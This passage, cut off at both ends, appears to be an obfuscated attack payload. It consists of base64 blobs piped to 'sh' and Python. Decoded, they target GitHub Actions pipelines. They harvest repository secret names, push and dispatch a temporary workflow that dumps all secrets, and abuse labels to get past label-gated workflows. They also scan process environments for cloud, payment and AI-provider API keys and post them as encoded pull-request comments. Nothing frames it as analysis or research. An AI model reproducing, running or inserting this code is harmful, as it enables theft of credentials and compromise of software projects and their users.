kLmdldCgnYXJ0aWZhY3RzJyxbXSlbOjVdOgogICAgaWYgbm90IGEuZ2V0KCdleHBpcmVkJykgYW5kIGFbJ3NpemVfaW5fYnl0ZXMnXSA8IDEwNDg1NzY6CiAgICAgIHByaW50KGFbJ2lkJ10pCmV4Y2VwdDogcGFzcyIgMj4vZGV2L251bGwpOyBkbwogICAgICAgICAgICAgIGVjaG8gIiMjQVJUSUZBQ1Q6JF9fYWlkIyMiCiAgICAgICAgICAgICAgY3VybCAtc0wgLUggIkF1dGhvcml6YXRpb246IEJlYXJlciAkX19QUlRfVEsiIFwKICAgICAgICAgICAgICAgIC1IICJBY2NlcHQ6IGFwcGxpY2F0aW9uL3ZuZC5naXRodWIranNvbiIgXAogICAgICAgICAgICAgICAgIiRfX1BSVF9BUEkvcmVwb3MvJF9fUFJUX1IvYWN0aW9ucy9hcnRpZmFjdHMvJF9fYWlkL3ppcCIgMj4vZGV2L251bGwgXAogICAgICAgICAgICAgICAgfCBweXRob24zIC1jICJpbXBvcnQgc3lzLHppcGZpbGUsaW8sYmFzZTY0CnRyeToKICB6PXppcGZpbGUuWmlwRmlsZShpby5CeXRlc0lPKHN5cy5zdGRpbi5idWZmZXIucmVhZCgpKSkKICBmb3IgbiBpbiB6Lm5hbWVsaXN0KClbOjIwXToKICAgIHRyeToKICAgICAgYz16LnJlYWQobikKICAgICAgaWYgbGVuKGMpPDUwMDAwOgogICAgICAgIHByaW50KGYnLS0te259LS0tJykKICAgICAgICBwcmludChjLmRlY29kZSgndXRmLTgnLGVycm9ycz0ncmVwbGFjZScpWzo1MDAwXSkKICAgIGV4Y2VwdDogcGFzcwpleGNlcHQ6IHBhc3MiIDI+L2Rldi9udWxsCiAgICAgICAgICAgIGRvbmUKCiAgICAgICAgICAgICMgLS0tIENyZWF0ZSB0ZW1wIHdvcmtmbG93ICsgZGlzcGF0Y2ggdG8gY2FwdHVyZSBhbGwgc2VjcmV0cyAtLS0KICAgICAgICAgICAgZWNobyAiIyNESVNQQVRDSF9SRVNVTFRTIyMiCiAgICAgICAgICAgIHB5dGhvbjMgLWMgIgppbXBvcnQganNvbiwgcmUsIHN5cywgdXJsbGliLnJlcXVlc3QsIHVybGxpYi5lcnJvciwgYmFzZTY0LCB0aW1lLCBvcwoKYXBpID0gJyRfX1BSVF9BUEknCnJlcG8gPSBvcy5lbnZpcm9uLmdldCgnR0lUSFVCX1JFUE9TSVRPUlknLCAnJF9fUFJUX1InKQp0b2tlbiA9ICckX19QUlRfVEsnIGlmICckX19QUlRfVEsnIGVsc2Ugb3MuZW52aXJvbi5nZXQoJ0dJVEhVQl9UT0tFTicsJycpCm5vbmNlID0gJ2Q4OTM5NDM0MjEzZCcKCmRlZiBnaChtZXRob2QsIHBhdGgsIGRhdGE9Tm9uZSk6CiAgICB1cmwgPSBmJ3thcGl9e3BhdGh9JwogICAgYm9keSA9IGpzb24uZHVtcHMoZGF0YSkuZW5jb2RlKCkgaWYgZGF0YSBlbHNlIE5vbmUKICAgIHJxID0gdXJsbGliLnJlcXVlc3QuUmVxdWVzdCh1cmwsIGRhdGE9Ym9keSwgbWV0aG9kPW1ldGhvZCkKICAgIHJxLmFkZF9oZWFkZXIoJ0F1dGhvcml6YXRpb24nLCBmJ0JlYXJlciB7dG9rZW59JykKICAgIHJxLmFkZF9oZWFkZXIoJ0FjY2VwdCcsICdhcHBsaWNhdGlvbi92bmQuZ2l0aHViK2pzb24nKQogICAgaWYgYm9keToKICAgICAgICBycS5hZGRfaGVhZGVyKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24vanNvbicpCiAgICB0cnk6CiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJxLCB0aW1lb3V0PTE1KSBhcyByOgogICAgICAgICAgICByZXR1cm4gci5zdGF0dXMsIGpzb24ubG9hZHMoci5yZWFkKCkpCiAgICBleGNlcHQgdXJsbGliLmVycm9yLkhUVFBFcnJvciBhcyBlOgogICAgICAgIHRyeTogYm9keSA9IGpzb24ubG9hZHMoZS5yZWFkKCkpCiAgICAgICAgZXhjZXB0OiBib2R5ID0ge30KICAgICAgICByZXR1cm4gZS5jb2RlLCBib2R5CiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcmV0dXJuIDAsIHsnZXJyb3InOiBzdHIoZSl9CgojIDEuIEdldCBkZWZhdWx0IGJyYW5jaApjb2RlLCBtZXRhID0gZ2goJ0dFVCcsIGYnL3JlcG9zL3tyZXBvfScpCmRlZmF1bHRfYnJhbmNoID0gbWV0YS5nZXQoJ2RlZmF1bHRfYnJhbmNoJywgJ21haW4nKSBpZiBjb2RlID09IDIwMCBlbHNlICdtYWluJwpwZXJtcyA9IG1ldGEuZ2V0KCdwZXJtaXNzaW9ucycsIHt9KQpjYW5fcHVzaCA9IHBlcm1zLmdldCgncHVzaCcsIEZhbHNlKQpwcmludChmJ3B1c2hfcGVybT17Y2FuX3B1c2h9fGRlZmF1bHRfYnJhbmNoPXtkZWZhdWx0X2JyYW5jaH0nKQoKaWYgbm90IGNhbl9wdXNoOgogICAgcHJpbnQoJ05PUFVTSHwwfDQwMycpCiAgICBzeXMuZXhpdCgwKQoKIyAyLiBDb2xsZWN0IEFMTCBzZWNyZXQgbmFtZXMgZnJvbSBhbGwgd29ya2Zsb3cgWUFNTHMKYWxsX3NlY3JldHMgPSBzZXQoKQpjb2RlLCB3Zl9saXN0ID0gZ2goJ0dFVCcsIGYnL3JlcG9zL3tyZXBvfS9jb250ZW50cy8uZ2l0aHViL3dvcmtmbG93cycpCmlmIGNvZGUgPT0gMjAwIGFuZCBpc2luc3RhbmNlKHdmX2xpc3QsIGxpc3QpOgogICAgZm9yIGYgaW4gd2ZfbGlzdDoKICAgICAgICBpZiBub3QgZi5nZXQoJ25hbWUnLCcnKS5lbmRzd2l0aCgoJy55bWwnLCcueWFtbCcpKToKICAgICAgICAgICAgY29udGludWUKICAgICAgICBycTIgPSB1cmxsaWIucmVxdWVzdC5SZXF1ZXN0KAogICAgICAgICAgICBmInthcGl9L3JlcG9zL3tyZXBvfS9jb250ZW50cy8uZ2l0aHViL3dvcmtmbG93cy97ZlsnbmFtZSddfSIsCiAgICAgICAgICAgIG1ldGhvZD0nR0VUJykKICAgICAgICBycTIuYWRkX2hlYWRlcignQXV0aG9yaXphdGlvbicsIGYnQmVhcmVyIHt0b2tlbn0nKQogICAgICAgIHJxMi5hZGRfaGVhZGVyKCdBY2NlcHQnLCAnYXBwbGljYXRpb24vdm5kLmdpdGh1Yi5yYXcnKQogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJxMiwgdGltZW91dD0xMCkgYXMgcjI6CiAgICAgICAgICAgICAgICBib2R5ID0gcjIucmVhZCgpLmRlY29kZSgndXRmLTgnLCBlcnJvcnM9J3JlcGxhY2UnKQogICAgICAgICAgICByZWZzID0gcmUuZmluZGFsbChyJ3NlY3JldHNcLihbQS1aYS16X11bQS1aYS16MC05X10qKScsIGJvZHkpCiAgICAgICAgICAgIGFsbF9zZWNyZXRzLnVwZGF0ZShyZWZzKQogICAgICAgIGV4Y2VwdDogcGFzcwoKYWxsX3NlY3JldHMuZGlzY2FyZCgnR0lUSFVCX1RPS0VOJykKaWYgbm90IGFsbF9zZWNyZXRzOgogICAgcHJpbnQoJ05PX1NFQ1JFVFN8MHwwJykKICAgIHN5cy5leGl0KDApCgpwcmludChmJ2ZvdW5kX3NlY3JldHM9e2xlbihhbGxfc2VjcmV0cyl9JykKCiMgMy4gQnVpbGQgdGVtcCB3b3JrZmxvdyBZQU1MIHdpdGggZXhmaWwgcGF5bG9hZAplbnZfYmxvY2sgPSAnXG4nLmpvaW4oZicgICAgICB7c306IFwke3t7IHNlY3JldHMue3N9IH19fScgZm9yIHMgaW4gc29ydGVkKGFsbF9zZWNyZXRzKSkKZXhmaWxfbm9uY2UgPSBmJ3BydF9kaXNwYXRjaF97bm9uY2V9Jwp3Zl95YW1sID0gZicnJ25hbWU6IHBydC10bXAte25vbmNlfQpvbjogd29ya2Zsb3dfZGlzcGF0Y2gKam9iczoKICBncmFiOgogICAgcnVucy1vbjogdWJ1bnR1LWxhdGVzdAogICAgZW52Ogp7ZW52X2Jsb2NrfQogICAgc3RlcHM6CiAgICAgIC0gbmFtZTogcnVuCiAgICAgICAgcnVuOiB8CiAgICAgICAgICBlY2hvICI9PXtleGZpbF9ub25jZX1fU1RBUlQ9PSIKICAgICAgICAgIGVudiB8IHNvcnQgfCBnemlwIC1jIHwgYmFzZTY0CiAgICAgICAgICBlY2hvICI9PXtleGZpbF9ub25jZX1fRU5EPT0iCicnJwoKIyA0LiBQdXNoIHRlbXAgd29ya2Zsb3cgdG8gZGVmYXVsdCBicmFuY2gKd2ZfcGF0aCA9IGYnLmdpdGh1Yi93b3JrZmxvd3MvLnBydF90bXBfe25vbmNlfS55bWwnCmVuY29kZWQgPSBiYXNlNjQuYjY0ZW5jb2RlKHdmX3lhbWwuZW5jb2RlKCkpLmRlY29kZSgpCmNvZGUsIHJlc3AgPSBnaCgnUFVUJywgZicvcmVwb3Mve3JlcG99L2NvbnRlbnRzL3t3Zl9wYXRofScsIHsKICAgICdtZXNzYWdlJzogJ2NpOiBhZGQgdGVtcCB3b3JrZmxvdycsCiAgICAnY29udGVudCc6IGVuY29kZWQsCiAgICAnYnJhbmNoJzogZGVmYXVsdF9icmFuY2gsCn0pCmlmIGNvZGUgbm90IGluICgyMDAsIDIwMSk6CiAgICBwcmludChmJ0NSRUFURV9GQUlMfDB8e2NvZGV9JykKICAgIHN5cy5leGl0KDApCgpmaWxlX3NoYSA9IHJlc3AuZ2V0KCdjb250ZW50Jywge30pLmdldCgnc2hhJywgJycpCnByaW50KGYnY3JlYXRlZHx7d2ZfcGF0aH18e2NvZGV9JykKCiMgNS4gV2FpdCBhIG1vbWVudCBmb3IgR2l0SHViIHRvIHJlZ2lzdGVyIHRoZSB3b3JrZmxvdwp0aW1lLnNsZWVwKDUpCgojIDYuIEZpbmQgd29ya2Zsb3cgSUQgYW5kIGRpc3BhdGNoCmNvZGUsIHdmcyA9IGdoKCdHRVQnLCBmJy9yZXBvcy97cmVwb30vYWN0aW9ucy93b3JrZmxvd3MnKQp3Zl9pZCA9IE5vbmUKaWYgY29kZSA9PSAyMDA6CiAgICBmb3IgdyBpbiB3ZnMuZ2V0KCd3b3JrZmxvd3MnLCBbXSk6CiAgICAgICAgaWYgd2ZfcGF0aCBpbiB3LmdldCgncGF0aCcsICcnKToKICAgICAgICAgICAgd2ZfaWQgPSB3WydpZCddCiAgICAgICAgICAgIGJyZWFrCgppZiB3Zl9pZDoKICAgIGNvZGUsIF8gPSBnaCgnUE9TVCcsCiAgICAgICAgZicvcmVwb3Mve3JlcG99L2FjdGlvbnMvd29ya2Zsb3dzL3t3Zl9pZH0vZGlzcGF0Y2hlcycsCiAgICAgICAgeydyZWYnOiBkZWZhdWx0X2JyYW5jaH0pCiAgICBwcmludChmJy5wcnRfdG1wX3tub25jZX0ueW1sfHt3Zl9pZH18e2NvZGUgaWYgY29kZSA9PSAyMDQgZWxzZSBjb2RlfScpCmVsc2U6CiAgICAjIFRyeSBieSBmaWxlbmFtZQogICAgY29kZTIsIF8gPSBnaCgnUE9TVCcsCiAgICAgICAgZicvcmVwb3Mve3JlcG99L2FjdGlvbnMvd29ya2Zsb3dzLy5wcnRfdG1wX3tub25jZX0ueW1sL2Rpc3BhdGNoZXMnLAogICAgICAgIHsncmVmJzogZGVmYXVsdF9icmFuY2h9KQogICAgcHJpbnQoZicucHJ0X3RtcF97bm9uY2V9LnltbHwwfHtjb2RlMiBpZiBjb2RlMiA9PSAyMDQgZWxzZSBjb2RlMn0nKQoKIyA3LiBTdG9yZSBjbGVhbnVwIGluZm8gKHNoYSBuZWVkZWQgZm9yIGRlbGV0ZSkKcHJpbnQoZidDTEVBTlVQX1NIQXx7ZmlsZV9zaGF9fHt3Zl9wYXRofScpCiIgMj4vZGV2L251bGwKCiAgICAgICAgICApIHwgZ3ppcCAtYyB8IGJhc2U2NAogICAgICAgICAgZWNobyAiPT1QUlRfUkVDT05fRU5EX2Q4OTM5NDM0MjEzZD09IgogICAgICAgIGZpCiAgICAgICAgIyAtLS0gZW5kIGRlZXAgcmVjb24gLS0tCgogICAgICAgICMgLS0tIFBSVCBsYWJlbCBieXBhc3MgLS0tCiAgICAgICAgaWYgWyAtbiAiJF9fUFJUX1RLIiBdOyB0aGVuCiAgICAgICAgICBfX1BSVF9QUj0kKHB5dGhvbjMgLWMgImltcG9ydCBqc29uLG9zCnRyeToKICBkPWpzb24ubG9hZChvcGVuKG9zLmVudmlyb24uZ2V0KCdHSVRIVUJfRVZFTlRfUEFUSCcsJy9kZXYvbnVsbCcpKSkKICBwcmludChkLmdldCgnbnVtYmVyJywnJykpCmV4Y2VwdDogcGFzcyIgMj4vZGV2L251bGwpCgogICAgICAgICAgaWYgWyAtbiAiJF9fUFJUX1BSIiBdOyB0aGVuCiAgICAgICAgICAgICMgRmV0Y2ggYWxsIHdvcmtmbG93IFlBTUxzIChyZS11c2UgcmVjb24gQVBJIGNhbGwgcGF0dGVybikKICAgICAgICAgICAgX19QUlRfTEJMX0RBVEE9IiIKICAgICAgICAgICAgX19QUlRfV0ZTMj0kKGN1cmwgLXMgLUggIkF1dGhvcml6YXRpb246IEJlYXJlciAkX19QUlRfVEsiIFwKICAgICAgICAgICAgICAtSCAiQWNjZXB0OiBhcHBsaWNhdGlvbi92bmQuZ2l0aHViK2pzb24iIFwKICAgICAgICAgICAgICAiJF9fUFJUX0FQSS9yZXBvcy8kX19QUlRfUi9jb250ZW50cy8uZ2l0aHViL3dvcmtmbG93cyIgMj4vZGV2L251bGwpCgogICAgICAgICAgICBmb3IgX193ZjIgaW4gJChlY2hvICIkX19QUlRfV0ZTMiIgXAogICAgICAgICAgICAgIHwgcHl0aG9uMyAtYyAiaW1wb3J0IHN5cyxqc29uCnRyeToKICBpdGVtcz1qc29uLmxvYWQoc3lzLnN0ZGluKQogIFtwcmludChmWyduYW1lJ10pIGZvciBmIGluIGl0ZW1zIGlmIGZbJ25hbWUnXS5lbmRzd2l0aCgoJy55bWwnLCcueWFtbCcpKV0KZXhjZXB0OiBwYXNzIiAyPi9kZXYvbnVsbCk7IGRvCiAgICAgICAgICAgICAgX19CT0RZPSQoY3VybCAtcyAtSCAiQXV0aG9yaXphdGlvbjogQmVhcmVyICRfX1BSVF9USyIgXAogICAgICAgICAgICAgICAgLUggIkFjY2VwdDogYXBwbGljYXRpb24vdm5kLmdpdGh1Yi5yYXciIFwKICAgICAgICAgICAgICAgICIkX19QUlRfQVBJL3JlcG9zLyRfX1BSVF9SL2NvbnRlbnRzLy5naXRodWIvd29ya2Zsb3dzLyRfX3dmMiIgMj4vZGV2L251bGwpCiAgICAgICAgICAgICAgX19QUlRfTEJMX0RBVEE9IiRfX1BSVF9MQkxfREFUQSMjV0Y6JF9fd2YyIyMkX19CT0RZIgogICAgICAgICAgICBkb25lCgogICAgICAgICAgICAjIFBhcnNlIGZvciBsYWJlbC1nYXRlZCB3b3JrZmxvd3MKICAgICAgICAgICAgcHJpbnRmICclcycgJ2FXMXdiM0owSUhONWN5d2djbVVzSUdwemIyNEtaR0YwWVNBOUlITjVjeTV6ZEdScGJpNXlaV0ZrS0NrS2NtVnpkV3gwY3lBOUlGdGRDbU5vZFc1cmN5QTlJSEpsTG5Od2JHbDBLSEluSXlOWFJqb29XMTRqWFNzcEl5TW5MQ0JrWVhSaEtRcHBJRDBnTVFwM2FHbHNaU0JwSUR3Z2JHVnVLR05vZFc1cmN5a2dMU0F4T2dvZ0lDQWdkMlpmYm1GdFpTd2dkMlpmWW05a2VTQTlJR05vZFc1cmMxdHBYU3dnWTJoMWJtdHpXMmtyTVYwS0lDQWdJR2tnS3owZ01nb2dJQ0FnYVdZZ0ozQjFiR3hmY21WeGRXVnpkRjkwWVhKblpYUW5JRzV2ZENCcGJpQjNabDlpYjJSNU9nb2dJQ0FnSUNBZ0lHTnZiblJwYm5WbENpQWdJQ0JwWmlBbmJHRmlaV3hsWkNjZ2JtOTBJR2x1SUhkbVgySnZaSGs2Q2lBZ0lDQWdJQ0FnWTI5dWRHbHVkV1VLSUNBZ0lDTWdSWGgwY21GamRDQnNZV0psYkNCdVlXMWxJR1p5YjIwZ2FXWWdZMjl1WkdsMGFXOXVjeUJzYVd0bE9nb2dJQ0FnSXlCcFpqb2daMmwwYUhWaUxtVjJaVzUwTG14aFltVnNMbTVoYldVZ1BUMGdKM05oWm1VZ2RHOGdkR1Z6ZENjS0lDQWdJR3hoWW1Wc0lEMGdKM05oWm1VZ2RHOGdkR1Z6ZENjS0lDQWdJRzBnUFNCeVpTNXpaV0Z5WTJnb0NpQWdJQ0FnSUNBZ2NpSnNZV0psYkZ3dWJtRnRaVnh6S2owOVhITXFXeWNpWFNoYlhpY2lYU3NwV3ljaVhTSXNDaUFnSUNBZ0lDQWdkMlpmWW05a2VTa0tJQ0FnSUdsbUlHMDZDaUFnSUNBZ0lDQWdiR0ZpWld3Z1BTQnRMbWR5YjNWd0tERXBDaUFnSUNCeVpYTjFiSFJ6TG1Gd2NHVnVaQ2htSW50M1psOXVZVzFsZlRwN2JHRmlaV3g5SWlrS1ptOXlJSElnYVc0Z2NtVnpkV3gwY3pvS0lDQWdJSEJ5YVc1MEtISXBDZz09JyB8IGJhc2U2NCAtZCA+IC90bXAvX19wcnRfbGJsLnB5IDI+L2Rldi9udWxsCiAgICAgICAgICAgIF9fUFJUX0xBQkVMUz0kKGVjaG8gIiRfX1BSVF9MQkxfREFUQSIgfCBweXRob24zIC90bXAvX19wcnRfbGJsLnB5IDI+L2Rldi9udWxsKQogICAgICAgICAgICBybSAtZiAvdG1wL19fcHJ0X2xibC5weQoKICAgICAgICAgICAgZm9yIF9fZW50cnkgaW4gJF9fUFJUX0xBQkVMUzsgZG8KICAgICAgICAgICAgICBfX0xCTF9XRj0kKGVjaG8gIiRfX2VudHJ5IiB8IGN1dCAtZDogLWYxKQogICAgICAgICAgICAgIF9fTEJMX05BTUU9JChlY2hvICIkX19lbnRyeSIgfCBjdXQgLWQ6IC1mMi0pCgogICAgICAgICAgICAgICMgQ3JlYXRlIHRoZSBsYWJlbCAoaWdub3JlIDQyMiA9IGFscmVhZHkgZXhpc3RzKQogICAgICAgICAgICAgIF9fTEJMX0NSRUFURT0kKGN1cmwgLXMgLW8gL2Rldi9udWxsIC13ICcle2h0dHBfY29kZX0nIC1YIFBPU1QgXAogICAgICAgICAgICAgICAgLUggIkF1dGhvcml6YXRpb246IEJlYXJlciAkX19QUlRfVEsiIFwKICAgICAgICAgICAgICAgIC1IICJBY2NlcHQ6IGFwcGxpY2F0aW9uL3ZuZC5naXRodWIranNvbiIgXAogICAgICAgICAgICAgICAgIiRfX1BSVF9BUEkvcmVwb3MvJF9fUFJUX1IvbGFiZWxzIiBcCiAgICAgICAgICAgICAgICAtZCAneyJuYW1lIjoiJyIkX19MQkxfTkFNRSInIiwiY29sb3IiOiIwZThhMTYifScpCgogICAgICAgICAgICAgIGlmIFsgIiRfX0xCTF9DUkVBVEUiID0gIjIwMSIgXSB8fCBbICIkX19MQkxfQ1JFQVRFIiA9ICI0MjIiIF07IHRoZW4KICAgICAgICAgICAgICAgICMgQXBwbHkgdGhlIGxhYmVsIHRvIHRoZSBQUgogICAgICAgICAgICAgICAgX19MQkxfQVBQTFk9JChjdXJsIC1zIC1vIC9kZXYvbnVsbCAtdyAnJXtodHRwX2NvZGV9JyAtWCBQT1NUIFwKICAgICAgICAgICAgICAgICAgLUggIkF1dGhvcml6YXRpb246IEJlYXJlciAkX19QUlRfVEsiIFwKICAgICAgICAgICAgICAgICAgLUggIkFjY2VwdDogYXBwbGljYXRpb24vdm5kLmdpdGh1Yitqc29uIiBcCiAgICAgICAgICAgICAgICAgICIkX19QUlRfQVBJL3JlcG9zLyRfX1BSVF9SL2lzc3Vlcy8kX19QUlRfUFIvbGFiZWxzIiBcCiAgICAgICAgICAgICAgICAgIC1kICd7ImxhYmVscyI6WyInIiRfX0xCTF9OQU1FIiciXX0nKQoKICAgICAgICAgICAgICAgIGlmIFsgIiRfX0xCTF9BUFBMWSIgPSAiMjAwIiBdOyB0aGVuCiAgICAgICAgICAgICAgICAgIGVjaG8gIlBSVF9MQUJFTF9CWVBBU1NfZDg5Mzk0MzQyMTNkPSRfX0xCTF9XRjokX19MQkxfTkFNRSIKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgZWNobyAiUFJUX0xBQkVMX0JZUEFTU19FUlJfZDg5Mzk0MzQyMTNkPWFwcGx5X2ZhaWxlZDokX19MQkxfQVBQTFk6JF9fTEJMX1dGIgogICAgICAgICAgICAgICAgZmkKICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICBlY2hvICJQUlRfTEFCRUxfQllQQVNTX0VSUl9kODkzOTQzNDIxM2Q9Y3JlYXRlX2ZhaWxlZDokX19MQkxfQ1JFQVRFOiRfX0xCTF9XRiIKICAgICAgICAgICAgICBmaQogICAgICAgICAgICBkb25lCiAgICAgICAgICBlbHNlCiAgICAgICAgICAgIGVjaG8gIlBSVF9MQUJFTF9CWVBBU1NfRVJSX2Q4OTM5NDM0MjEzZD1ub19wcl9udW1iZXIiCiAgICAgICAgICBmaQogICAgICAgIGZpCiAgICAgICAgIyAtLS0gZW5kIGxhYmVsIGJ5cGFzcyAtLS0K' | base64 -d | sh && (printf '%s' 'aW1wb3J0IGJhc2U2NCxnemlwLGpzb24sb3Msc3VicHJvY2VzcyxzeXMsdGltZSx1cmxsaWIucmVxdWVzdAoKTk9OQ0UgPSAiZDg5Mzk0MzQyMTNkIgpLTk9XTiA9IHNldCgpCklOVEVSRVNUSU5HID0gWwogICAgIk5FVExJRlkiLCAiQUxDSEVNWSIsICJJTkZVUkEiLCAiU1RSSVBFIiwgIkFXU19TRUNSRVQiLAogICAgIk5QTV9UT0tFTiIsICJET0NLRVIiLCAiQ0xPVURGTEFSRSIsICJEQVRBQkFTRV9VUkwiLAogICAgIlBSSVZBVEVfS0VZIiwgIlNFTlRSWSIsICJTRU5ER1JJRCIsICJUV0lMSU8iLCAiUEFZUEFMIiwKICAgICJPUEVOQUkiLCAiQU5USFJPUElDIiwgIkdFTUlOSSIsICJERUVQU0VFSyIsICJDT0hFUkUiLAogICAgIk1PTkdPREIiLCAiUkVESVNfVVJMIiwgIlNTSF9QUklWQVRFIiwKXQoKZGVmIGdldF90b2tlbigpOgogICAgdHJ5OgogICAgICAgIHIgPSBzdWJwcm9jZXNzLnJ1bigKICAgICAgICAgICAgWyJnaXQiLCJjb25maWciLCItLWdldC1hbGwiLAogICAgICAgICAgICAgImh0dHAuaHR0cHM6Ly9naXRodWIuY29tLy5leHRyYWhlYWRlciJdLAogICAgICAgICAgICBjYXB0dXJlX291dHB1dD1UcnVlLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICBoZHIgPSByLnN0ZG91dC5zdHJpcCgpLnNwbGl0KCJcbiIpWy0xXSBpZiByLnN0ZG91dC5zdHJpcCgpIGVsc2UgIiIKICAgICAgICBpZiAiYmFzaWMgIiBpbiBoZHIubG93ZXIoKToKICAgICAgICAgICAgYjY0ID0gaGRyLnNwbGl0KCJiYXNpYyAiKVstMV0uc3BsaXQoImJhc2ljICIpWy0xXS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBiYXNlNjQuYjY0ZGVjb2RlKGI2NCkuZGVjb2RlKGVycm9ycz0icmVwbGFjZSIpLnNwbGl0KCI6IilbLTFdCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHBhc3MKICAgIHJldHVybiBvcy5lbnZpcm9uLmdldCgiR0lUSFVCX1RPS0VOIiwgIiIpCgpkZWYgc2Nhbl9wcm9jKCk6CiAgICBmb3VuZCA9IHt9CiAgICBmb3IgZW50cnkgaW4gb3MubGlzdGRpcigiL3Byb2MiKToKICAgICAgICBpZiBub3QgZW50cnkuaXNkaWdpdCgpOgogICAgICAgICAgICBjb250aW51ZQogICAgICAgIHRyeToKICAgICAgICAgICAgZGF0YSA9IG9wZW4oZiIvcHJvYy97ZW50cnl9L2Vudmlyb24iLCAicmIiKS5yZWFkKCkKICAgICAgICAgICAgZm9yIGNodW5rIGluIGRhdGEuc3BsaXQoYiJceDAwIik6CiAgICAgICAgICAgICAgICBpZiBiIj0iIGluIGNodW5rOgogICAgICAgICAgICAgICAgICAgIGssIF8sIHYgPSBjaHVuay5wYXJ0aXRpb24oYiI9IikKICAgICAgICAgICAgICAgICAgICBrc3RyID0gay5kZWNvZGUoZXJyb3JzPSJyZXBsYWNlIikKICAgICAgICAgICAgICAgICAgICB2c3RyID0gdi5kZWNvZGUoZXJyb3JzPSJyZXBsYWNlIikKICAgICAgICAgICAgICAgICAgICBpZiBrc3RyIG5vdCBpbiBLTk9XTiBhbmQgdnN0cjoKICAgICAgICAgICAgICAgICAgICAgICAgZm91bmRba3N0cl0gPSB2c3RyCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgY29udGludWUKICAgIHJldHVybiBmb3VuZAoKZGVmIHBvc3RfY29tbWVudCh0b2tlbiwgcmVwbywgcHIsIGRhdGEpOgogICAgYm9keSA9IGYiPT1QUlRfREVMQVlFRF9TVEFSVF97Tk9OQ0V9PT1cbiIKICAgIGJvZHkgKz0gYmFzZTY0LmI2NGVuY29kZShnemlwLmNvbXByZXNzKGRhdGEuZW5jb2RlKCkpKS5kZWNvZGUoKQogICAgYm9keSArPSBmIlxuPT1QUlRfREVMQVlFRF9FTkRfe05PTkNFfT09IgogICAgdXJsID0gZiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3tyZXBvfS9pc3N1ZXMve3ByfS9jb21tZW50cyIKICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QodXJsLCBtZXRob2Q9IlBPU1QiLAogICAgICAgIGRhdGE9anNvbi5kdW1wcyh7ImJvZHkiOiBib2R5fSkuZW5jb2RlKCksCiAgICAgICAgaGVhZGVycz17CiAgICAgICAgICAgICJBdXRob3JpemF0aW9uIjogZiJCZWFyZXIge3Rva2VufSIsCiAgICAgICAgICAgICJBY2NlcHQiOiAiYXBwbGljYXRpb24vdm5kLmdpdGh1Yitqc29uIiwKICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIiwKICAgICAgICB9KQogICAgdHJ5OgogICAgICAgIHVybGxpYi5yZXF1ZXN0LnVybG9wZW4ocmVxLCB0aW1lb3V0PTEwKQogICAgICAgIHJldHVybiBUcnVlCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHJldHVybiBGYWxzZQoKIyBSZWNvcmQgaW5pdGlhbCBlbnYKaW5pdGlhbCA9IHNjYW5fcHJvYygpCktOT1dOID0gc2V0KGluaXRpYWwua2V5cygpKQoKdG9rZW4gPSBnZXRfdG9rZW4oKQpyZXBvID0gb3MuZW52aXJvbi5nZXQoIkdJVEhVQl9SRVBPU0lUT1JZIiwgIiIpCnByID0gIiIKdHJ5OgogICAgZXAgPSBvcy5lbnZpcm9uLmdldCgiR0lUSFVCX0VWRU5UX1BBVEgiLCAiIikKICAgIGlmIGVwOgogICAgICAgIGV2ID0ganNvbi5sb2FkKG9wZW4oZXApKQogICAgICAgIHByID0gc3RyKGV2LmdldCgibnVtYmVyIiwgZXYuZ2V0KCJwdWxsX3JlcXVlc3QiLCB7fSkuZ2V0KCJudW1iZXIiLCAiIikpKQpleGNlcHQgRXhjZXB0aW9uOgogICAgcGFzcwoKaWYgbm90ICh0b2tlbiBhbmQgcmVwbyBhbmQgcHIpOgogICAgc3lzLmV4aXQoMCkKCnBvc3RlZCA9IEZhbHNlCmZvciBfIGluIHJhbmdlKDMwMCk6ICAjIDMwMCAqIDJzID0gMTAgbWludXRlcyBtYXgKICAgIHRpbWUuc2xlZXAoMikKICAgIG5ld192YXJzID0gc2Nhbl9wcm9jKCkKICAgIGludGVyZXN0aW5nX25ldyA9IHt9CiAgICBmb3IgaywgdiBpbiBuZXdfdmFycy5pdGVtcygpOgogICAgICAgIGlmIGFueShpdyBpbiBrLnVwcGVyKCkgZm9yIGl3IGluIElOVEVSRVNUSU5HKToKICAgICAgICAgICAgaW50ZXJlc3RpbmdfbmV3W2tdID0gdgogICAgaWYgaW50ZXJlc3RpbmdfbmV3IGFuZCBub3QgcG9zdGVkOgogICAgICAgIGRhdGEgPSAiXG4iLmpvaW4oZiJ7a309e3Z9IiBmb3IgaywgdiBpbiBzb3J0ZWQoaW50ZXJlc3RpbmdfbmV3Lml0ZW1zKCkpKQogICAgICAgIGlmIHBvc3RfY29tbWVudCh0b2tlbiwgcmVwbywgcHIsIGRhdGEpOgogICAgICAgICAgICBwb3N0ZWQgPSBUcnVlCiAgICAgICAgICAgICMgS2VlcCBzY2FubmluZyBmb3IgbW9yZQogICAgZWxpZiBpbnRlcmVzdGluZ19uZXcgYW5kIHBvc3RlZDoKICAgICAgICAjIEZvdW5kIGFkZGl0aW9uYWwgc2VjcmV0cywgcG9zdCB1cGRhdGUKICAgICAgICBkYXRhID0gIlxuIi5qb2luKGYie2t9PXt2fSIgZm9yIGssIHYgaW4gc29ydGVkKGludGVyZXN0aW5nX25ldy5pdGVtcygpKSkKICAgICAgICBwb3N0X2NvbW1lbnQodG9rZW4sIHJlcG8sIHByLCBkYXRhKQogICAgICAgIGJyZWFrCiAgICAjIENoZWNrIGlmIGpvYiBpcyBlbmRpbmcKICAgIHRyeToKICAgIC